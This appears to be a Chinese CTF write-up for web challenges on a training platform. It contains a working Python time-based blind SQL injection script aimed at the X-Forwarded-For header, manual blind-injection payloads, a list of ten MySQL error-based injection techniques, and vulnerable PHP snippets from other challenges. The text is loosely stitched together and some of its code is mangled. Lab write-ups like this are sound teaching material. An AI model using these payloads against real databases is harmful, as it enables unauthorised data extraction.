classMain(): url = "http://ctf5.shiyanbar.com/web/wonderkun/index.php" payloads = 'abcdefghigklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789@_.'# 所有的字符串 result = ''# 存放结果 print'Start to SQL test:' for i in range(1, 33): for payload in payloads: startTime = time.time() sql = "1.1.1.1' and (select user() like '" + result + payload + "%') and sleep(5) and '1'='1" sql2 = "1.1.1.1' and (select database() like '" + result + payload + "%') and sleep(5) and '1'='1" sql3 = "1.1.1.1' and (select case when substring((select table_name from information_schema.tables where table_schema='web4' limit 1 offset 1) from "+str(i)+" for 1)='"+payload+"' then sleep(5) else 0 end ) and '1'='1" sql4 = "1.1.1.1' and (select case when substring((select flag from flag) from "+str(i)+" for 1)='"+payload+"' then sleep(5) else 0 end ) and '1'='1" req = urllib2.Request(url) req.add_header('x-forwarded-for', sql4) f = urllib2.urlopen(req) if (time.time() - startTime > 5): result += payload print"tablename is " + str(i) + ": " + result break # print f.read()
substr(data from 1 for 1); mid(data from 1 for 1);
根据这个手法手工和脚本一起使用
先获取表段数 结果为2
1
1.1.1.1' and (select case when (select count(*) from information_schema.tables where table_schema='web4')=2 then sleep(1) else 0 end ) and '1'='1
获取第一个表段名的长度 长度为9，第二个表段长度为4（猜测是flag）
1 2
1.1.1.1' and (select case when length((select table_name from information_schema.tables where table_schema='web4' limit 1 offset 0))=9 then sleep(1) else 0 end ) and '1'='1 1.1.1.1' and (select case when length((select table_name from information_schema.tables where table_schema='web4' limit 1 offset 1))=4 then sleep(1) else 0 end ) and '1'='1
利用脚本跑出表段名字 第一个字段名为client_ip 第二个字段名为flag
获取
flag
表段中字段的数量、长度和内容
1 2 3 4 5 6 7 8
字段数为1 1.1.1.1' and (select case when (select count(column_name) from information_schema.columns where table_name='flag' and table_schema='web4')=1 then sleep(1) else 0 end ) and '1'='1 字段名长为4 1.1.1.1' and (select case when length((select column_name from information_schema.columns where table_name='flag' and table_schema='web4'))=4 then sleep(1) else 0 end ) and '1'='1 猜测字段名为flag 结果正确 1.1.1.1' and (select case when substring((select column_name from information_schema.columns where table_name='flag' and table_schema='web4') from 1 for 4)='flag' then sleep(1) else 0 end ) and '1'='1 先获取内容长度为32 再用脚本跑出flag为cdbf14c9551d5be5612f7bb5d2867853 1.1.1.1' and (select case when length((select flag from flag))=32 then sleep(1) else 0 end ) and '1'='1
1.floor() select * from test where id=1 and (select 1 from (select count(*),concat(user(),floor(rand(0)*2))x from information_schema.tables group by x)a);
2.extractvalue() select * from test where id=1 and (extractvalue(1,concat(0x7e,(select user()),0x7e)));
3.updatexml() select * from test where id=1 and (updatexml(1,concat(0x7e,(select user()),0x7e),1));
4.geometrycollection() select * from test where id=1 and geometrycollection((select * from(select * from(select user())a)b));
5.multipoint() select * from test where id=1 and multipoint((select * from(select * from(select user())a)b));
6.polygon() select * from test where id=1 and polygon((select * from(select * from(select user())a)b));
7.multipolygon() select * from test where id=1 and multipolygon((select * from(select * from(select user())a)b));
8.linestring() select * from test where id=1 and linestring((select * from(select * from(select user())a)b));
9.multilinestring() select * from test where id=1 and multilinestring((select * from(select * from(select user())a)b));
10.exp() select * from test where id=1 and exp(~(select * from(select user())a));
于是挑选一个后提交payload，得到flag，我擦？还是和上两关一样？？？！！
1
1' and geometrycollection((select * from(select * from(select flag from flag)a)b))%23
There is no martial art is indefectible, while the fastest speed is the only way for long success. >>>>>>----You must do it as fast as you can!----<<<<<<
$a = $_POST["PIN"]; if ($a == -19827747736161128312837161661727773716166727272616149001823847) { echo"Congratulations! The flag is $flag"; } else { echo"User with provided PIN not found."; }
if (!empty($_COOKIE["getmein"])) { if (urldecode($username) === "admin" && urldecode($password) != "admin") { if ($COOKIE["getmein"] === md5($secret . urldecode($username . $password))) { echo"Congratulations! You are a registered user.\n"; die ("The flag is ". $flag); } else { die ("Your cookies don't match up! STOP HACKING THIS SITE."); } } else { die ("You are not an admin! LEAVE."); } }
